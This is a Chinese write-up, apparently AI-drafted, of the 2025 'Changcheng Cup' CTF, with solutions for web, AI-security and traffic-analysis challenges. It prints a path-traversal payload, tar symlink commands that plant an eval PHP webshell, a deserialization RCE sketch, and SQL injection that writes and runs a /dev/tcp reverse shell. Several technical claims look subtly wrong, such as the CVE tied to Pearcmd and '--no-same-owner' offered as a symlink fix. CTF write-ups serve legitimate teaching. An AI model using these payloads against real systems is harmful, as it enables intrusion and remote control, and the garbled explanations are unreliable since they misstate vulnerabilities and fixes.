2025第五届“长城杯”网络安全大赛-wp
字数 1946 2025-09-23 19:27:38
2025第五届“长城杯”网络安全大赛 Write-up 教学文档
一、Web安全类题目
1. 文曲签学
- 题目类型:Web目录穿越漏洞
- 关键点:
- 页面提示“长按Fn键”,通过
#list发现HINT。 - HINT提示关注公众号,获取目录穿越提示。
- 页面提示“长按Fn键”,通过
- 利用方法:
- 使用
#read功能进行目录穿越:#read ...//....//....//....//flag
- 使用
- 漏洞原理:未对文件读取路径进行规范化处理,导致可通过
../穿越目录。 - 修复建议:对输入路径进行正则化处理,禁止
../等跳转字符。
2. EZ_upload
- 题目类型:文件上传 + Tar命令注入(软链接利用)
- 源码分析:
$filename = basename($file['name']); $filename = preg_replace('/[^a-zA-Z0-9_\-\.]/', '_', $filename); exec('cd /tmp && tar -xvf ' . $filename.'&&pwd');- 文件名过滤了非字母数字字符,但允许
_、-和.。 - 直接拼接文件名执行
tar命令,存在命令注入风险。
- 文件名过滤了非字母数字字符,但允许
- 利用方法:
- 创建软链接指向Web目录:
ln -s /var/www/html link1 tar -cvf syslink.tar link1 rm link1 mkdir link1 echo '<?php @eval($_POST["cmd"]); ?>' > link1/shell.php tar -cvf shell.tar link1/shell.php - 依次上传
syslink.tar和shell.tar,通过Tar解压软链接实现文件写入。
- 创建软链接指向Web目录:
- 漏洞原理:Tar保留软链接属性,解压时可将软链接解析为目标路径,从而实现任意文件写入。
- 修复建议:
- 禁用Tar命令的软链接处理(如
--no-same-owner)。 - 使用安全函数(如
escapeshellarg())处理命令行参数。
- 禁用Tar命令的软链接处理(如
3. SeRce
- 题目类型:PHP反序列化 + CVE-2024-2961(Pearcmd RCE)
- 漏洞原理:
- 利用
__PHP_Incomplete_Class_Name类触发Pearcmd.php包含漏洞。 - 通过反序列化链调用
Access::getToken()方法拼接路径,触发Pearcmd执行。
- 利用
- 利用方法:
- 使用已知EXP(如Lilctf脚本)生成Payload:
class Access { protected $prefix = 'phar://'; protected $suffix = '/pearcmd.php'; } // 构造Phar包触发包含执行命令 - 发送序列化数据触发RCE。
- 使用已知EXP(如Lilctf脚本)生成Payload:
- 修复建议:
- 避免反序列化用户输入。
- 更新Pearcmd至安全版本。
二、AI安全类题目
1. eztalk
- 题目类型:AI数据库注入(CVE-2024-11958)
- 漏洞原理:
- 输入未过滤导致SQL注入,通过Union查询执行系统命令。
- 利用方法:
test') AS score, node_id, text FROM documents UNION SELECT '1500', '!', concat('life', version())--- 确认漏洞后,利用COPY命令写入Shell:
COPY (SELECT 'sh -i >& /dev/tcp/0.0.0.0/4444 0>&1') TO '/tmp/exploit'; - 通过
read_csv执行命令:SELECT * FROM read_csv('bash /tmp/exploit |');
- 确认漏洞后,利用COPY命令写入Shell:
- 修复建议:
- 对用户输入进行严格的SQL注入过滤。
- 限制数据库用户权限,禁止执行系统命令。
2. easy_poison
- 题目类型:数据投毒(Data Poisoning)
- 漏洞原理:通过污染训练数据影响AI模型输出。
- 利用方法:
- 构造恶意训练数据,插入误导性样本(如虚假Flag)。
- 重新训练模型,使模型输出恶意内容。
- 修复建议:
- 使用可信数据源进行训练。
- 对训练数据进行完整性校验。
三、数据安全类题目
1. RealCheckIn-1
- 题目类型:流量分析 + Base64隐写
- 利用方法:
- 在Wireshark中追踪HTTP流(流编号1102)。
- 发现Base64编码数据,解码后写入
fffllagg1.txt。 - 使用CyberChef解码获取Flag。
- 关键点:注意流量中隐藏的编码数据。
2. RealCheckIn-3
- 题目类型:内存马利用(Java Agent注入)
- 分析过程:
- 在流量(流1122)中提取
payload1.jar。 - 反编译后发现是内存马框架,用于注入Java Agent。
- 在流量(流1122)中提取
- 利用方法(未完全解出):
- 通常通过JNDI注入或反序列化触发Agent加载。
- 修复建议:
- 禁止加载不可信的Java Agent。
- 监控JVM进程异常行为。
四、总结与防护建议
| 漏洞类型 | 利用技术 | 防护措施 |
|---|---|---|
| 目录穿越 | 路径遍历 | 路径规范化 |
| 文件上传+软链接 | Tar软链接处理 | 禁用软链接解压 |
| PHP反序列化 | Pearcmd RCE | 禁止反序列化用户输入 |
| SQL注入(AI) | CVE-2024-11958 | 输入过滤、权限控制 |
| 数据投毒 | 训练数据污染 | 数据源可信校验 |
| 流量隐写 | Base64解码 | 流量监控与检测 |
| 内存马 | Java Agent注入 | JVM安全配置 |
如果有需要修改或者补充的地方,可以随时告诉我。